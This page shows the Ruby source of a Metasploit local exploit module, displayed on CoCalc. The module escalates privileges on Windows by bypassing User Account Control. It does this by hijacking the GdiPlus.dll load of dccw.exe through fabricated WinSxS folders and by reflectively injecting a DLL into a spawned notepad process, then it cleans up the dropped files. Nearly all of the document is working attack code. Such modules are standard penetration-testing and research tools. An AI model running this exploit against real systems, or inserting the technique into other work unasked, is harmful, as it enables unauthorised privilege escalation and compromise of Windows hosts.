CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_injection_winsxs.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Exploit::EXE
10
include Exploit::FileDropper
11
include Post::File
12
include Post::Windows::Priv
13
include Post::Windows::ReflectiveDLLInjection
14
include Post::Windows::Runas
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS',
21
'Description' => %q{
22
This module will bypass Windows UAC by utilizing the trusted publisher
23
certificate through process injection. It will spawn a second shell that
24
has the UAC flag turned off by abusing the way "WinSxS" works in Windows
25
systems. This module uses the Reflective DLL Injection technique to drop
26
only the DLL payload binary instead of three seperate binaries in the
27
standard technique. However, it requires the correct architecture to be
28
selected, (use x64 for SYSWOW64 systems also).
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>'
33
],
34
'Platform' => [ 'win' ],
35
'SessionTypes' => [ 'meterpreter' ],
36
'Targets' => [
37
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
38
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
39
],
40
'DefaultTarget' => 0,
41
'References' => [
42
['URL', 'https://github.com/L3cr0f/DccwBypassUAC']
43
],
44
'DisclosureDate' => '2017-04-06',
45
'Compat' => {
46
'Meterpreter' => {
47
'Commands' => %w[
48
stdapi_fs_delete_dir
49
stdapi_fs_delete_file
50
stdapi_fs_stat
51
stdapi_railgun_api
52
stdapi_sys_process_attach
53
stdapi_sys_process_memory_allocate
54
stdapi_sys_process_memory_write
55
stdapi_sys_process_thread_create
56
]
57
}
58
}
59
)
60
)
61
end
62
63
def exploit
64
# Validate that we can actually do things before we bother
65
# doing any more work
66
validate_environment!
67
check_permissions!
68
69
# Get all required environment variables in one shot instead. This
70
# is a better approach because we don't constantly make calls through
71
# the session to get the variables.
72
env_vars = get_envs('TEMP', 'WINDIR')
73
74
# Get UAC level so as to verify if the module will be successful
75
case get_uac_level
76
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
77
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
78
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
79
fail_with(Failure::NotVulnerable,
80
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
81
when UAC_DEFAULT
82
print_good('UAC is set to Default')
83
print_good('BypassUAC can bypass this setting, continuing...')
84
when UAC_NO_PROMPT
85
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
86
shell_execute_exe
87
return
88
end
89
90
dll_path = bypass_dll_path
91
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"
92
93
# Establish the folder pattern so as to get those folders that match it
94
sysarch = sysinfo['Architecture']
95
if sysarch == ARCH_X86
96
targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
97
else
98
targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
99
end
100
101
directoryNames = get_directories(payload_filepath, targetedDirectories)
102
create_directories(payload_filepath, directoryNames)
103
upload_payload_dll(payload_filepath, directoryNames)
104
105
pid = spawn_inject_proc(env_vars['WINDIR'])
106
107
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
108
run_injection(pid, dll_path, file_paths)
109
end
110
111
# Path to the bypassuac binary and architecture payload checking
112
def bypass_dll_path
113
path = ::File.join(Msf::Config.data_directory, 'post')
114
115
sysarch = sysinfo['Architecture']
116
if sysarch == ARCH_X86
117
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
118
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
119
else
120
::File.join(path, 'bypassuac-x86.dll')
121
end
122
elsif (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
123
::File.join(path, 'bypassuac-x64.dll')
124
else
125
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
126
end
127
end
128
129
# Check if the compromised user matches some requirements
130
def check_permissions!
131
# Check if you are an admin
132
vprint_status('Checking admin status...')
133
admin_group = is_in_admin_group?
134
135
if admin_group.nil?
136
print_error('Either whoami is not there or failed to execute')
137
print_error('Continuing under assumption you already checked...')
138
elsif admin_group
139
print_good('Part of Administrators group! Continuing...')
140
else
141
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
142
end
143
144
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
145
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
146
end
147
end
148
149
# Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation
150
def run_injection(pid, dll_path, file_paths)
151
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
152
begin
153
path_struct = create_struct(file_paths)
154
155
vprint_status("Opening process #{pid}")
156
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
157
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
158
159
vprint_status("Injecting struct into #{pid}")
160
struct_addr = host_process.memory.allocate(path_struct.length)
161
host_process.memory.write(struct_addr, path_struct)
162
163
vprint_status('Executing payload')
164
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
165
print_good("Successfully injected payload in to process: #{pid}")
166
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
167
rescue Rex::Post::Meterpreter::RequestError => e
168
print_error("Failed to Inject Payload to #{pid}!")
169
vprint_error(e.to_s)
170
end
171
end
172
173
# Create a process in the native architecture
174
def spawn_inject_proc(win_dir)
175
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
176
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
177
cmd = "#{win_dir}\\sysnative\\notepad.exe"
178
else
179
cmd = "#{win_dir}\\System32\\notepad.exe"
180
end
181
pid = cmd_exec_get_pid(cmd)
182
183
unless pid
184
fail_with(Failure::Unknown, 'Spawning Process failed...')
185
end
186
187
pid
188
end
189
190
# Upload only one DLL, the rest will be copied into the specific folders
191
def upload_payload_dll(_payload_filepath, directoryNames)
192
dllPath = "#{directoryNames[0]}\\GdiPlus.dll"
193
payload = generate_payload_dccw_gdiplus_dll({ dll_exitprocess: true })
194
print_status('Uploading the Payload DLL to the filesystem...')
195
begin
196
vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
197
write_file(dllPath, payload)
198
rescue Rex::Post::Meterpreter::RequestError => e
199
fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")
200
end
201
202
if directoryNames.size > 1
203
copy_payload_dll(directoryNames, dllPath)
204
end
205
end
206
207
# Copy our DLL to all created folders, the first folder already have a copy of the DLL
208
def copy_payload_dll(directoryNames, dllPath)
209
1.step(directoryNames.size - 1, 1) do |i|
210
if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
211
print_error('Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...')
212
end
213
end
214
end
215
216
# Check if the environment is vulnerable to the exploit
217
def validate_environment!
218
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
219
220
version = get_version_info
221
if (!version.windows_server? && version.build_number >= Msf::WindowsVersion::Win8) ||
222
(version.windows_server? && version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2019))
223
print_good("#{version.product_name} may be vulnerable.")
224
else
225
fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
226
end
227
228
if is_uac_enabled?
229
print_status('UAC is Enabled, checking level...')
230
else
231
unless is_in_admin_group?
232
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
233
end
234
end
235
end
236
237
# Creating the necessary directories to perform the DLL hijacking
238
# Since we don't know which path "dccw.exe" will choose, we create
239
# all the directories that match with the initial pattern
240
def create_directories(payload_filepath, directoryNames)
241
env_vars = get_envs('TEMP')
242
243
print_status('Creating temporary folders...')
244
if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0
245
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
246
end
247
248
directoryNames.each do |dirName|
249
if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0
250
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")
251
end
252
end
253
end
254
255
# Get all the directories that match with the initial pattern
256
def get_directories(payload_filepath, targetedDirectories)
257
directoryNames = []
258
findFileDataSize = 592
259
maxPath = client.railgun.const('MAX_PATH')
260
fileNamePadding = 44
261
262
hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)
263
if hFile['return'] == client.railgun.const('INVALID_HANDLE_VALUE')
264
fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
265
end
266
267
findFileData = hFile['lpFindFileData']
268
moreFiles = true
269
until moreFiles == false
270
fileAttributes = findFileData[0, 4].unpack('V').first
271
andOperation = fileAttributes & client.railgun.const('FILE_ATTRIBUTE_DIRECTORY')
272
if andOperation
273
# Removes the remainder part composed of 'A' of the path and the last null character
274
normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split("\x00", 2).first
275
path = "#{payload_filepath}\\#{normalizedData}"
276
directoryNames.push(path)
277
end
278
279
findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)
280
moreFiles = findNextFile['return']
281
findFileData = findNextFile['lpFindFileData']
282
end
283
client.railgun.kernel32.FindClose(hFile['return'])
284
285
if findNextFile['GetLastError'] != client.railgun.const('ERROR_NO_MORE_FILES')
286
fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
287
end
288
289
directoryNames
290
end
291
292
# Store the necessary paths into a struct
293
def get_file_paths(win_path, payload_filepath)
294
paths = {}
295
paths[:szElevDll] = 'dccw.exe.Local'
296
paths[:szElevDir] = "#{win_path}\\System32"
297
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative"
298
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe"
299
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
300
paths[:szTempDllPath] = payload_filepath
301
302
paths
303
end
304
305
# Creates the paths struct which contains all the required paths
306
# the dll needs to copy/execute etc.
307
def create_struct(paths)
308
# Write each path to the structure in the order they
309
# are defined in the bypass uac binary.
310
struct = ''
311
struct << fill_struct_path(paths[:szElevDir])
312
struct << fill_struct_path(paths[:szElevDirSysWow64])
313
struct << fill_struct_path(paths[:szElevDll])
314
struct << fill_struct_path(paths[:szElevDllFull])
315
struct << fill_struct_path(paths[:szElevExeFull])
316
struct << fill_struct_path(paths[:szTempDllPath])
317
318
struct
319
end
320
321
def fill_struct_path(path)
322
path = Rex::Text.to_unicode(path)
323
path + "\x00" * (520 - path.length)
324
end
325
326
# When a new session is obtained, it removes the dropped elements (files and folders)
327
def on_new_session(session)
328
if session.type == 'meterpreter' && !session.ext.aliases.include?('stdapi')
329
session.core.use('stdapi')
330
end
331
remove_dropped_elements(session)
332
end
333
334
# Remove all the created and dropped files and folders
335
def remove_dropped_elements(session)
336
droppedElements = []
337
338
env_vars = get_envs('TEMP', 'WINDIR')
339
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"
340
341
sysarch = sysinfo['Architecture']
342
if sysarch == ARCH_X86
343
targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
344
else
345
targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
346
end
347
348
directoryNames = get_directories(payload_filepath, targetedDirectories)
349
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
350
351
# Remove all dropped elements (files and folders)
352
remove_dlls(session, directoryNames, file_paths, droppedElements)
353
remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
354
remove_dot_local_folders(session, file_paths, droppedElements)
355
356
# Check if the removal was successful
357
removal_checking(droppedElements)
358
end
359
360
# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
361
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
362
def remove_dlls(session, directoryNames, file_paths, droppedElements)
363
directoryNames.each do |dirName|
364
directoryName = dirName.split('\\').last
365
366
begin
367
droppedElements.push("#{dirName}\\GdiPlus.dll")
368
session.fs.file.rm("#{dirName}\\GdiPlus.dll")
369
rescue ::Rex::Post::Meterpreter::RequestError => e
370
vprint_error("Error => #{e.class} - #{e}")
371
end
372
373
begin
374
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
375
session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
376
rescue ::Rex::Post::Meterpreter::RequestError => e
377
vprint_error("Error => #{e.class} - #{e}")
378
end
379
end
380
end
381
382
# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
383
def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
384
directoryNames.each do |dirName|
385
directoryName = dirName.split('\\').last
386
387
begin
388
droppedElements.push(dirName)
389
session.fs.dir.rmdir(dirName)
390
rescue ::Rex::Post::Meterpreter::RequestError => e
391
vprint_error("Error => #{e.class} - #{e}")
392
end
393
394
begin
395
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
396
session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")
397
rescue ::Rex::Post::Meterpreter::RequestError => e
398
vprint_error("Error => #{e.class} - #{e}")
399
end
400
end
401
end
402
403
# Remove "C:\Windows\System32\dccw.exe.Local" folder
404
def remove_dot_local_folders(session, file_paths, droppedElements)
405
begin
406
droppedElements.push(file_paths[:szTempDllPath])
407
session.fs.dir.rmdir(file_paths[:szTempDllPath])
408
rescue ::Rex::Post::Meterpreter::RequestError => e
409
vprint_error("Error => #{e.class} - #{e}")
410
end
411
412
begin
413
droppedElements.push(file_paths[:szElevDllFull])
414
session.fs.dir.rmdir(file_paths[:szElevDllFull])
415
rescue ::Rex::Post::Meterpreter::RequestError => e
416
vprint_error("Error => #{e.class} - #{e}")
417
end
418
end
419
420
# Check if have been successfully removed
421
def removal_checking(droppedElements)
422
successfullyRemoved = true
423
424
droppedElements.each do |element|
425
stat = session.fs.file.stat(element)
426
if stat
427
print_error("Unable to delete #{element}!")
428
successfullyRemoved = false
429
end
430
rescue ::Rex::Post::Meterpreter::RequestError => e
431
vprint_error("Error => #{e.class} - #{e}")
432
end
433
434
if successfullyRemoved
435
print_good('All the dropped elements have been successfully removed')
436
else
437
print_warning('Could not delete some dropped elements! They will require manual cleanup on the target')
438
end
439
end
440
end
441
442